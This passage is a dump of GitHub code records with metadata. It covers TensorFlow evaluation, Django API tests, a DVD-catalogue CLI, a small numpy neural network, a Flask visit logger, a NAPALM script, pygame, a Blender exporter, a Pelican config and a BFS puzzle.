checkpoint dir\n if ckpt and ckpt.model_checkpoint_path:\n # Restores from checkpoint\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = ckpt.model_checkpoint_path.split('/')[-1].split('-')[-1]\n print('Checkpoint file has found, global_step: {}'.format(global_step))\n else:\n print('No checkpoint file found in {}'.format(checkpoint_dir))\n return\n\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess = sess, coord = coord)\n\n try:\n num_iter = num_test # batch_size = 1\n true_count = 0\n step = 0\n\n while step < num_iter and not coord.should_stop():\n predictions = sess.run([top_one_op])\n\n if np.sum(predictions) == 0:\n print('true label: {}, predict label: {}'.format(test_label_batch_.eval(),\n test_logits_.eval()))\n true_count += np.sum(predictions)\n step += 1\n\n test_accuracy = float(true_count) / num_test * 100\n print('Total image: {}, test accuracy = {:.2f}%'.format(num_test, test_accuracy))\n except Exception as e:\n coord.request_stop(e)\n finally:\n coord.request_stop()\n coord.join(threads)\n\n return test_accuracy\n\n# Main\nif __name__ == '__main__':\n # test\n test_accuracy = evaluation()\n","repo_name":"lguduy/frame","sub_path":"frame_eval.py","file_name":"frame_eval.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29393837617","text":"from testing.testcases import TestCase\nfrom rest_framework.test import APIClient\nfrom comments.models import Comment\nfrom django.utils import timezone\n\nCOMMENT_URL = '/api/comments/'\nTWEET_LIST_API = '/api/tweets/'\nTWEET_DETAIL_API = '/api/tweets/{}/'\nNEWSFEED_LIST_API = '/api/newsfeeds/'\n\n\nclass CommentApiTests(TestCase):\n\n def setUp(self):\n self.clear_cache()\n self.linghu = self.create_user('linghu')\n self.linghu_client = APIClient()\n self.linghu_client.force_authenticate(self.linghu)\n self.dongxie = self.create_user('dongxie')\n self.dongxie_client = APIClient()\n self.dongxie_client.force_authenticate(self.dongxie)\n\n self.tweet = self.create_tweet(self.linghu)\n\n def test_create(self):\n # anonymous cannot crate\n response = self.anonymous_client.post(COMMENT_URL)\n self.assertEqual(response.status_code, 403)\n\n # must have parameter\n response = self.linghu_client.post(COMMENT_URL)\n self.assertEqual(response.status_code, 400)\n\n # only tweet_id is prohibited\n response = self.linghu_client.post(COMMENT_URL, {'tweet_id': self.tweet.id})\n self.assertEqual(response.status_code, 400)\n\n # only content is prohibited\n response = self.linghu_client.post(COMMENT_URL, {'content': '1'})\n self.assertEqual(response.status_code, 400)\n\n # content too long is prohibited\n response = self.linghu_client.post(COMMENT_URL, {\n 'tweet_id': self.tweet.id,\n 'content': '1' * 141,\n })\n self.assertEqual(response.status_code, 400)\n self.assertEqual('content' in response.data['errors'], True)\n\n # must include both comment and tweet_id\n response = self.linghu_client.post(COMMENT_URL, {\n 'tweet_id': self.tweet.id,\n 'content': '1',\n })\n self.assertEqual(response.status_code, 201)\n self.assertEqual(response.data['user']['id'], self.linghu.id)\n self.assertEqual(response.data['tweet_id'], self.tweet.id)\n self.assertEqual(response.data['content'], '1')\n\n def test_destroy(self):\n comment = self.create_comment(self.linghu, self.tweet)\n url = '{}{}/'.format(COMMENT_URL, comment.id)\n\n # anonymous cannot delete\n response = self.anonymous_client.delete(url)\n self.assertEqual(response.status_code, 403)\n\n # cannot delete by others\n response = self.dongxie_client.delete(url)\n self.assertEqual(response.status_code, 403)\n\n # can be deleted by user himself\n count = Comment.objects.count()\n response = self.linghu_client.delete(url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Comment.objects.count(), count - 1)\n\n def test_update(self):\n comment = self.create_comment(self.linghu, self.tweet, 'original')\n another_tweet = self.create_tweet(self.dongxie)\n url = '{}{}/'.format(COMMENT_URL, comment.id)\n\n # when using put\n # anonymous cannot update\n response = self.anonymous_client.put(url, {'content': 'new'})\n self.assertEqual(response.status_code, 403)\n # other cannot update\n response = self.dongxie_client.put(url, {'content': 'new'})\n self.assertEqual(response.status_code, 403)\n comment.refresh_from_db()\n self.assertNotEqual(comment.content, 'new')\n # cannot update other than comment\n before_updated_at = comment.updated_at\n before_created_at = comment.created_at\n now = timezone.now()\n response = self.linghu_client.put(url, {\n 'content': 'new',\n 'user_id': self.dongxie.id,\n 'tweet_id': another_tweet.id,\n 'created_at': now,\n })\n self.assertEqual(response.status_code, 200)\n comment.refresh_from_db()\n self.assertEqual(comment.content, 'new')\n self.assertEqual(comment.user, self.linghu)\n self.assertEqual(comment.tweet, self.tweet)\n self.assertEqual(comment.created_at, before_created_at)\n self.assertNotEqual(comment.created_at, now)\n self.assertNotEqual(comment.updated_at, before_updated_at)\n\n def test_list(self):\n # must attach tweet_id\n response = self.anonymous_client.get(COMMENT_URL)\n self.assertEqual(response.status_code, 400)\n\n # with tweet_id can access\n # no comment at first\n response = self.anonymous_client.get(COMMENT_URL, {\n 'tweet_id': self.tweet.id,\n })\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.data['comments']), 0)\n\n # comments sorted by time\n self.create_comment(self.linghu, self.tweet, '1')\n self.create_comment(self.dongxie, self.tweet, '2')\n self.create_comment(self.dongxie, self.create_tweet(self.dongxie), '3')\n response = self.anonymous_client.get(COMMENT_URL, {\n 'tweet_id': self.tweet.id,\n })\n self.assertEqual(len(response.data['comments']), 2)\n self.assertEqual(response.data['comments'][0]['content'], '1')\n self.assertEqual(response.data['comments'][1]['content'], '2')\n\n # only tweet_id will validate in filter\n response = self.anonymous_client.get(COMMENT_URL, {\n 'tweet_id': self.tweet.id,\n 'user_id': self.linghu.id,\n })\n self.assertEqual(len(response.data['comments']), 2)\n\n def test_comments_count(self):\n # test tweet detail api\n tweet = self.create_tweet(self.linghu)\n url = TWEET_DETAIL_API.format(tweet.id)\n response = self.dongxie_client.get(url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.data['comments_count'], 0)\n\n # test tweet list api\n self.create_comment(self.linghu, tweet)\n response = self.dongxie_client.get(TWEET_LIST_API, {'user_id': self.linghu.id})\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.data['results'][0]['comments_count'], 1)\n\n # test newsfeeds list api\n self.create_comment(self.dongxie, tweet)\n self.create_newsfeed(self.dongxie, tweet)\n response = self.dongxie_client.get(NEWSFEED_LIST_API)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.data['results'][0]['tweet']['comments_count'], 2)","repo_name":"LilCybe/Django_Twitter_Project","sub_path":"comments/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71863924854","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport os\r\nimport db_init\r\nimport pydvd_utils\r\nimport datetime\r\nimport sqlite3\r\n\r\nNOW = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n\r\ndef check_setup(subdir):\r\n print('\\n')\r\n if not os.path.exists(subdir):\r\n print('Setup appears to not have been run, this will be done first. \\n')\r\n try:\r\n db_init.main()\r\n print('Setup completed. An empty database has been created. \\n')\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\ndef main_menu():\r\n print('1. Add a movie to the database.')\r\n print('2. Display a list of all the movies in the database.')\r\n print('3. Search the database based on movie title or genre.')\r\n print('4. Update a movie in the database.')\r\n print('5. Delete a movie from the database.')\r\n print('6. Export table to CSV.')\r\n print('X. Exit PyDVD.')\r\n\r\n while \"the answer is invalid\":\r\n reply = str(input('Select your desired action (1-6, or x to exit): ')).lower().strip()\r\n if reply[:1] == '1':\r\n insert_record()\r\n main()\r\n if reply[:1] == '2':\r\n query_all()\r\n main()\r\n if reply[:1] == '3':\r\n film_query()\r\n main()\r\n if reply[:1] == '4':\r\n record_update()\r\n main()\r\n if reply[:1] == '5':\r\n delete_record()\r\n main()\r\n if reply[:1] == '6':\r\n csv_export()\r\n main()\r\n if reply[:1] == 'x':\r\n program_exit()\r\n\r\n\r\ndef delete_record():\r\n while True:\r\n try:\r\n delete_id = int(input('Which database record do you wish to delete? '))\r\n break\r\n except:\r\n print(\"Please enter a numerical value.\")\r\n try:\r\n pydvd_utils.record_delete(str(delete_id))\r\n except sqlite3.Error as e:\r\n print(e)\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\ndef program_exit():\r\n question = 'Are you sure you want to exit the application?'\r\n answer = yes_no(question)\r\n if answer is True:\r\n exit()\r\n else:\r\n main()\r\n\r\n\r\ndef record_update():\r\n question = 'Field to search, either name or genre,'\r\n while True:\r\n try:\r\n record_id = int(input('Which database record do you wish to update? '))\r\n break\r\n except:\r\n print(\"Please enter a numerical value.\")\r\n while \"the answer is invalid\":\r\n question_answer = str(input(question + ' (n/g): ')).lower().strip()\r\n if question_answer[:1] == 'n':\r\n field_name = 'film_name'\r\n field_value = str(input('New film name: '))\r\n try:\r\n pydvd_utils.record_update(field_name, field_value, record_id)\r\n main()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n if question_answer[:1] == 'g':\r\n field_name = 'film_genre'\r\n field_value = get_genre_name()\r\n try:\r\n pydvd_utils.record_update(field_name, field_value, record_id)\r\n main()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n\r\n\r\ndef yes_no(question):\r\n while \"the answer is invalid\":\r\n reply = str(input(question + ' (y/n): ')).lower().strip()\r\n if reply[:1] == 'y':\r\n return True\r\n if reply[:1] == 'n':\r\n return False\r\n\r\n\r\ndef insert_record():\r\n try:\r\n name = str(input('Name of movie: '))\r\n date = NOW\r\n film_table = 'film_inv'\r\n genre_name = get_genre_name()\r\n pydvd_utils.record_insert(film_table, name, genre_name, date)\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n\r\n\r\ndef film_query():\r\n question = 'Field to search, either name or genre,'\r\n while \"the answer is invalid\":\r\n question_answer = str(input(question + ' (n/g): ')).lower().strip()\r\n if question_answer[:1] == 'n':\r\n field_name = 'film_name'\r\n field_value = str(input('Film name to search for: '))\r\n try:\r\n pydvd_utils.film_query(field_name, field_value)\r\n main()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n if question_answer[:1] == 'g':\r\n field_name = 'film_genre'\r\n field_value = get_genre_name()\r\n try:\r\n pydvd_utils.film_query(field_name, field_value)\r\n main()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n\r\n\r\ndef query_all():\r\n try:\r\n pydvd_utils.query_all()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n\r\n\r\ndef csv_export():\r\n try:\r\n pydvd_utils.csv_export()\r\n except sqlite3.Error as E:\r\n print(E)\r\n except Exception as E:\r\n print(E)\r\n\r\n\r\ndef get_genre_name():\r\n genre_table = 'genre_names'\r\n print('Select the ID of the genre for your movie form the list below.')\r\n all_rows = pydvd_utils.cond_query_all(genre_table)\r\n for row in all_rows:\r\n print(row)\r\n while True:\r\n try:\r\n genre = int(input('Genre of movie: '))\r\n break\r\n except:\r\n print(\"Please enter a numerical value.\")\r\n genre_name = str(pydvd_utils.get_genre_name(genre))\r\n return genre_name\r\n\r\n\r\ndef main():\r\n check_setup(subdir=os.path.join(os.path.dirname(__file__), 'data'))\r\n main_menu()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"jaysgrant/pydvd","sub_path":"pydvd/pydvd.py","file_name":"pydvd.py","file_ext":"py","file_size_in_byte":5774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32190996366","text":"import numpy\r\n\r\ndef tanh(x):\r\n return (1.0 - numpy.exp(-2*x))/(1.0 + numpy.exp(-2*x))\r\n\r\ndef tanh_derivative(x):\r\n return (1 + tanh(x))*(1 - tanh(x))\r\n\r\nclass NeuralNetwork:\r\n \r\n def __init__(self, net_arch):\r\n numpy.random.seed(0)\r\n \r\n self.activity = tanh\r\n self.activity_derivative = tanh_derivative\r\n self.layers = len(net_arch)\r\n self.steps_per_epoch = 1\r\n self.arch = net_arch\r\n self.weights = []\r\n \r\n \r\n for layer in range(self.layers - 1):\r\n w = 2*numpy.random.rand(net_arch[layer] + 1, net_arch[layer+1]) - 1\r\n self.weights.append(w)\r\n\r\n \r\n def _forward_prop(self, x):\r\n y = x\r\n\r\n for i in range(len(self.weights)-1):\r\n \r\n activation = numpy.dot(y[i], self.weights[i])\r\n activity = self.activity(activation)\r\n\r\n \r\n activity = numpy.concatenate((numpy.ones(1), numpy.array(activity)))\r\n y.append(activity)\r\n\r\n \r\n activation = numpy.dot(y[-1], self.weights[-1])\r\n activity = self.activity(activation)\r\n y.append(activity)\r\n \r\n return y\r\n \r\n def _back_prop(self, y, target, learning_rate):\r\n error = target - y[-1]\r\n delta_vec = [error * self.activity_derivative(y[-1])]\r\n\r\n \r\n for i in range(self.layers-2, 0, -1):\r\n error = delta_vec[-1].dot(self.weights[i][1:].T)\r\n error = error*self.activity_derivative(y[i][1:])\r\n delta_vec.append(error)\r\n\r\n \r\n delta_vec.reverse()\r\n \r\n \r\n for i in range(len(self.weights)):\r\n layer = y[i].reshape(1, self.arch[i]+1)\r\n delta = delta_vec[i].reshape(1, self.arch[i+1])\r\n self.weights[i] += learning_rate*layer.T.dot(delta)\r\n \r\n \r\n def fit(self, data, labels, learning_rate=0.1, epochs=100):\r\n \r\n \r\n ones = numpy.ones((1, data.shape[0]))\r\n Z = numpy.concatenate((ones.T, data), axis=1)\r\n \r\n for k in range(epochs):\r\n if (k+1) % 10000 == 0:\r\n print('epochs: {}'.format(k+1))\r\n \r\n sample = numpy.random.randint(X.shape[0])\r\n\r\n \r\n x = [Z[sample]]\r\n y = self._forward_prop(x)\r\n\r\n \r\n target = labels[sample]\r\n self._back_prop(y, target, learning_rate)\r\n \r\n def predict_data(self, x):\r\n val = numpy.concatenate((numpy.ones(1).T, numpy.array(x)))\r\n for i in range(0, len(self.weights)):\r\n val = self.activity(numpy.dot(val, self.weights[i]))\r\n val = numpy.concatenate((numpy.ones(1).T, numpy.array(val)))\r\n return [numpy.absolute(val[1]), numpy.absolute(val[2])]\r\n \r\n \r\n def predict(self, X):\r\n Y = numpy.array([]).reshape(0, self.arch[-1])\r\n for x in X:\r\n y = numpy.array([[self.predict_single_data(x)]])\r\n Y = numpy.vstack((Y,y))\r\n return Y\r\nnumpy.random.seed(0)\r\n\r\nnn = NeuralNetwork([5,4,3,2])\r\n\r\nX = numpy.array([[0,0,0,0,0], [0,0,1,0,0],[0,0,0,1,0], [0,0,1,1,0],\r\n\t\t\t\t [0,1,0,0,0], [0,1,1,0,0],[0,1,0,1,0], [0,1,1,1,0],\r\n\t\t\t\t [1,0,0,0,0], [1,0,1,0,0],[1,0,0,1,0], [1,0,1,1,0],\r\n\t\t\t\t [1,1,0,0,0], [1,1,1,0,0],[1,1,0,1,0], [1,1,1,1,0],\r\n\t\t\t\t [0,0,0,0,1], [0,0,1,0,1],[0,0,0,1,1], [0,0,1,1,1],\r\n\t\t\t\t [0,1,0,0,1], [0,1,1,0,1],[0,1,0,1,1], [0,1,1,1,1],\r\n\t\t\t\t [1,0,0,0,1], [1,0,1,0,1],[1,0,0,1,1], [1,0,1,1,1],\r\n\t\t\t\t [1,1,0,0,1], [1,1,1,0,1],[1,1,0,1,1], [1,1,1,1,1]])\r\n\r\ny = numpy.array([[0,0],[0,1],[1,0],[1,1],\r\n\t\t\t\t [0,1],[0,1],[1,1],[1,0],\r\n\t\t\t\t [1,0],[1,1],[0,0],[0,1],\r\n\t\t\t\t [1,1],[1,0],[0,1],[0,0],\r\n\t\t\t\t [1,1],[1,0],[0,1],[0,0],\r\n\t\t\t\t [1,0],[1,0],[0,0],[0,1],\r\n\t\t\t\t [0,1],[0,0],[1,1],[1,0],\r\n\t\t\t\t [0,0],[0,1],[1,0],[1,1]])\r\n\r\nnn.fit(X, y, epochs=475000)\r\n\r\nprint(\"Final predictions :\")\r\naccuracy=0\r\ni=0\r\nfor s in X:\r\n\taccuracy+=100*(1-(numpy.absolute(y[i][0]-nn.predict_data(s)[0])+numpy.absolute(y[i][0]-nn.predict_data(s)[0]))/2)\r\n\tprint(s,\"Predicted ==>\",nn.predict_data(s),\"Accuracy =\", 100*(1-(numpy.absolute(y[i][0]-nn.predict_data(s)[0])+numpy.absolute(y[i][0]-nn.predict_data(s)[0]))/2),'%')\r\n\ti = i + 1\r\nprint(\"\\n\\nNet Accuracy ==>\", accuracy/(i))","repo_name":"arijitgupta42/SAiDl-Summer-Assignment-2019","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6070106530","text":"\"\"\"\r\nProgram #: Progamming Project 4A\r\nProgrammer: Justin Zhou\r\nDue: 07/19/2021\r\nCS 3A, Summer 2021\r\nDescription: (This assignment provides practice in defining and using functions. We would like to demonstrate our ability to control strings and use functions.)\r\n\"\"\"\r\ndef get_key_character():\r\n char = input('Please enter a SINGLE character to act as key:')\r\n while not(len(char) == 1):\r\n char = input('Please enter a SINGLE character to act as key:')\r\n return char\r\n\r\ndef get_string():\r\n strn = input('Please enter a phrase or sentence >= 4 and <= 500 characters:')\r\n while not(len(strn) >= 4 and len(strn) <= 500):\r\n strn = input('Please enter a phrase or sentence >= 4 and <= 500 characters:')\r\n return strn\r\n\r\ndef mask_character(the_string, key_character):\r\n strn = \"\"\r\n for i in the_string:\r\n if i == key_character:\r\n strn += '*'\r\n else:\r\n strn += i\r\n print('\\n', strn)\r\n\r\ndef remove_character(the_string, key_character):\r\n strn = \"\"\r\n for i in the_string:\r\n if i == key_character:\r\n strn += ''\r\n else:\r\n strn += i\r\n print('\\n', strn)\r\n\r\ndef countKey(the_string, key_character):\r\n count = 0\r\n for i in the_string:\r\n if i == key_character:\r\n count += 1\r\n else: count += 0\r\n print('\\n# of occurrences of key character, ' + key_character + '; ' + str(count))\r\n\r\n\r\nkey_char = get_key_character()\r\nthe_str = get_string()\r\nmask_character(the_str, key_char)\r\nremove_character(the_str, key_char)\r\ncountKey(the_str, key_char)\r\n\r\n\"\"\" ------------------- Sample Run --------------------\r\nPlease enter a SINGLE character to act as key:sdfs\r\nPlease enter a SINGLE character to act as key:\r\nPlease enter a SINGLE character to act as key:d\r\nPlease enter a phrase or sentence >= 4 and <= 500 characters:\r\nPlease enter a phrase or sentence >= 4 and <= 500 characters:''\r\nPlease enter a phrase or sentence >= 4 and <= 500 characters:at\r\nPlease enter a phrase or sentence >= 4 and <= 500 characters:sdf sdaf ASDF ASDFsdf sdf (*j ljsdf\r\n\r\ns*f s*af ASDF ASDFs*f s*f (*j ljs*f\r\n\r\nsf saf ASDF ASDFsf sf (*j ljsf\r\n\r\n# of occurrences of key character, d; 5\r\n---------------------- End Sample Run ----------------\"\"\"","repo_name":"juszhou/FTHLL-Python-CS3A","sub_path":"text_processing.py","file_name":"text_processing.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8747372073","text":"from flask import render_template, make_response,request, Blueprint\nfrom database.database import mysql\nimport datetime\nimport socket\n\nbp = Blueprint('/', __name__)\n\n@bp.route(\"/\")\ndef home():\n rem_ip = request.remote_addr\n time = datetime.datetime.now()\n local_ip = socket.gethostbyname(socket.gethostname())\n cursor = mysql.connection.cursor()\n cursor.execute(''' UPDATE global_counter SET value=value + 1 ''')\n cursor.execute(''' INSERT INTO access_log (date_time,client_ip,internal_ip) VALUES(%s,%s,%s) ''',(time, rem_ip,local_ip))\n mysql.connection.commit()\n cursor.close()\n res = make_response(render_template(\"index.html\", com_ip=local_ip, remote_ip = rem_ip))\n res.set_cookie('internal_ip', local_ip, 120)\n return res\n","repo_name":"ItaySova/load-balancer-app","sub_path":"app/routes/homepage.py","file_name":"homepage.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35194273680","text":"#!/usr/bin/env python3\n\"\"\"\nexercise 2 napalm\n\n\"\"\"\n\nfrom pprint import pprint\n\nfrom napalm_devices import d_devices, network_devices\nfrom napalm_functions import get_connection\n\n\n\nif __name__ == \"__main__\":\n for my_device in network_devices:\n print(\"\")\n print(\"Open device connection\")\n device = get_connection(my_device)\n try:\n output = device.get_ntp_peers()\n pprint(output)\n device.close()\n except NotImplementedError as error:\n error = \"NotImplementedError\"\n print(f\"ExceptionError : {error}\")\n device.close()\n\n","repo_name":"mfeindt0705/pynetmf","sub_path":"lesson9/exercise2b.py","file_name":"exercise2b.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73367617972","text":"import pygame,time,sys\r\nfrom pygame.locals import*\r\npygame.init()#初始化pygame\r\n#创建500像素宽和400像素高的窗口\r\n#set_model()函数返回一个pygame.Surface对象\r\nwindowSurface=pygame.display.set_mode((500,400),0,32)\r\npygame.display.set_caption('hello world!')#设置标题\r\n\r\n#设置颜色变量(pygame中表示颜色的数据结构是三个整型的元组(RGB))\r\n#创建常量来保存\r\nBLACK=(0,0,0)\r\nWHITE=(255,255,255)\r\nRED=(255,0,0)\r\nGREEN=(0,255,0)\r\nBLUE=(0,0,255)\r\n\r\n#设置字体\r\n#第一个参数是字体的名称,第二个是字体的大小\r\nbasicFont=pygame.font.SysFont(None,48)#None为系统默认字体\r\n\r\n#生成Font对象(渲染)\r\n#使用Font对象中render()函数,函数返回Surface对象\r\n#render()第一个参数是要绘制的字符串,第二个指定是否想要抗锯齿的一个Boolean值\r\n#第三第四参数是RGB元组,第三个参数是将要用来渲染文本的颜色,第四个参数是文本后的背景颜色\r\ntext=basicFont.render(\"Hello,world!\",True,WHITE,BLUE)#将Font对象赋值给变量text\r\n\r\n#使用rect属性设置文本位置\r\n#pygame.Rect数据类型表示特定大小和位置的矩阵区域\r\n#调用pygame.rect()来创建一个新的Rect对象。\r\n#pygame.Rect(left,top,width,height)\r\n#函数参数表示左上角的X坐标和Y坐标,接着是宽度和高度,都是以像素为单位\r\n#当我们创建Font对象是已经生成了一个Rect对象,访问使用get_rect()\r\ntextRect=text.get_rect()#在text上使用get_rect()\r\n#Rect对象已经存储了Rect的中心的x和y坐标,名为centerx和centery\r\n#使用windowSurface.get_rect()获取\r\ntextRect.centerx=windowSurface.get_rect().centerx\r\ntextRect.centery=windowSurface.get_rect().centery\r\n\r\n#用颜色填充Surface对象\r\n#使用fill()函数\r\nwindowSurface.fill(WHITE)\r\n#在pygame中调用fill()或其他任何绘制函数时,屏幕上的窗口都不会改变\r\n#在调用pygame.display.update()函数前不会将对象绘制到屏幕上\r\npygame.display.update()\r\n\r\n#给像素着色\r\n#创建一个pygame.PixelArrary对象(颜色元组的列表的一个列表)\r\npixArrary=pygame.PixelArray(windowSurface)\r\npixArrary[480][380]=BLACK#把坐标(480,380)的像素改变为黑色像素\r\n#从一个Durface对象创建PixelArrary对象会锁定这个Surface对象\r\n#锁定意味着该对项不能调用blit()函数\r\n#使用del操作符删除对象\r\ndel pixArrary\r\npygame.display.update()\r\n\r\n#将绘制到windoeSurface上\r\n#使用bilt()函数\r\nwindowSurface.blit(text,textRect)#第二个参数指定绘制在何处\r\npygame.display.update()\r\n\r\n#获取事件对象\r\n#pygame.event.get()函数检索上次调用该函数生成的pygame.event.Event对象\r\n#这些事件会以Event对象的一个列表的形式返回,所有的Event都有一个type的对象,它表明事件的类型\r\n#使用QUIT类型的事件(用户终止程序时该事件将告诉我们)\r\n\r\nwhile True:\r\n #使用for循环遍历pygame.event.get()所返回的列表中的每一个对象\r\n for event in pygame.event.get():\r\n #QUIT在模块pygame.locals中\r\n if event.type==QUIT:\r\n pygame.quit()#该函数是和init()相对应的一种函数\r\n sys.exit()","repo_name":"days0102/Python","sub_path":"Pygame/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43312178","text":"from ezdxf_exporter.core.export.prop import DataExporter\n\n\nclass GreasePencilExporter(DataExporter):\n def write_gpencil_object(self, layout, gpencil_object, dxfattribs, callback, matrix):\n \"Export gp object as Edges\"\n\n gp = gpencil_object.data\n z_scale_export = self.exporter.settings.transform.export_scale[2]\n polyline_func = layout.add_lwpolyline if z_scale_export == 0 else layout.add_polyline3d\n for layer in gp.layers:\n for stroke in layer.frames[0].strokes:\n polyline = polyline_func([matrix @ point.co for point in stroke.points], dxfattribs=dxfattribs)\n callback(polyline)\n \n","repo_name":"Gorgious56/blender_ezdxf_exporter","sub_path":"data/grease_pencil/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"39541294849","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Ning Wang'\nSITENAME = u\"Ning Wang\"\nSITEURL = 'http://localhost:8000'\nSITESUBTITLE = '\\\"A programmer and his cat\\\"'\nTHEME = \"plumage\"\n\nPATH = 'content'\n\nTIMEZONE = 'America/New_York'\n\nDEFAULT_LANG = u'en'\n\nLOCALE = 'C'\nMD_EXTENSIONS = [\n 'codehilite',\n 'extra',\n 'mdx_video',\n 'mdx_titlecase',\n]\nTYPOGRIFY = True\n\n# Do not publish articles set in the future\nWITH_FUTURE_DATES = False\n\n# Force Pelican to use the file name as the slug, instead of derivating it from\n# the title.\nFILENAME_METADATA = '(?P.*)'\n\n# Force the same URL structure as WordPress\nARTICLE_URL = '{date:%Y}/{date:%m}/{slug}/'\nARTICLE_SAVE_AS = ARTICLE_URL + 'index.html'\nARTICLE_PATHS = ['posts']\n\nPAGE_URL = '{slug}/'\nPAGE_SAVE_AS = PAGE_URL + 'index.html'\nPAGE_PATHS = ['pages']\n\nDIRECT_TEMPLATES = ['index', 'categories', 'authors', 'archives', 'tags', 'search']\n\nTAG_URL = 'tag/{slug}/'\nTAG_SAVE_AS = TAG_URL + \"index.html\"\n\nCATEGORY_URL = 'category/{slug}/'\nCATEGORY_SAVE_AS = CATEGORY_URL + 'index.html'\n\nYEAR_ARCHIVE_SAVE_AS = '{date:%Y}/index.html'\nMONTH_ARCHIVE_SAVE_AS = '{date:%Y}/{date:%m}/index.html'\n\n# Tags, categories and archives are Direct Templates, so they don't have a\n# _URL option.\nTAGS_SAVE_AS = 'tags/index.html'\nCATEGORIES_SAVE_AS = 'categories/index.html'\nARCHIVES_SAVE_AS = 'archives/index.html'\n\n# Deactivate author URLs\nAUTHOR_SAVE_AS = False\nAUTHORS_SAVE_AS = False\n\n# Deactivate localization\nARTICLE_LANG_SAVE_AS = None\nPAGE_LANG_SAVE_AS = None\n\nFEED_RSS = 'feed/index.html'\nFEED_ATOM = 'feed/atom/index.html'\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\nARTICLE_PATHS = ['articles']\nMENUITEMS = [('Articles', '/'), ('CV', '/misc/resume.pdf'), ('Categories', '/categories/'), ('Archives', '/archives/')]\nARTICLE_URL = '{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\nARTICLE_SAVE_AS = '{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\n\nSTATIC_PATHS = ['misc', 'img', 'images', 'extra/robots.txt', 'extra/favicon.ico']\nEXTRA_PATH_METADATA = {\n 'extra/robots.txt': {'path': 'robots.txt'},\n 'extra/favicon.ico': {'path': 'favicon.ico'}\n}\n\nPLUGIN_PATHS = ['pelican-plugins']\nPLUGINS = [\n # Core plugins\n 'related_posts',\n # 'thumbnailer',\n 'tipue_search',\n 'neighbors',\n 'sitemap',\n]\n\nTIPUE_SEARCH = True\n\nSITEMAP = {\n 'format': 'xml',\n 'priorities': {\n 'articles': 0.5,\n 'indexes': 0.5,\n 'pages': 0.5,\n },\n 'changefreqs': {\n 'articles': 'monthly',\n 'indexes': 'daily',\n 'pages': 'monthly',\n }\n}\n\nDEFAULT_PAGINATION = 10\nSOCIAL_WIDGET_NAME = \"Contact\"\nSOCIAL = (\n ('@NingWang92', 'http://twitter.com/NingWang92'),\n ('Facebook', 'http://facebook.com/wangningLancelot'),\n ('zhihu', 'https://zhihu.com/people/nwang72')\n)\n\nLINKS_WIDGET_NAME = \"Professional profiles\"\nLINKS = (\n ('LinkedIn', 'http://linkedin.com/in/nwang72'),\n ('Github', 'https://github.com/LancelotGT'),\n ('Bitbucket', 'https://bitbucket.org/lancelotGT/')\n)\n\nCOPYRIGHT = \"\"\n\nDISQUS_SITENAME = 'wangnin'\n\nGOOGLE_ANALYTICS = 'UA-44946494-1'\n","repo_name":"LancelotGT/myblog","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39678221231","text":"import sys\nfrom collections import deque\n\n\nN, K = list(map(int, sys.stdin.readline().split()))\n\nvisited = [-1]*100_001\nneed_visited = deque()\nneed_visited.append((N, 0))\n\n\ndef move(point, time):\n return [(point + 1, time+1), (point - 1, time+1), (2 * point, time+1)]\n\n\nwhile need_visited:\n point, time = need_visited.popleft()\n if point == K:\n print(time)\n break\n if 0 <= point <= 100_000 and visited[point] == -1:\n visited[point] = 1\n 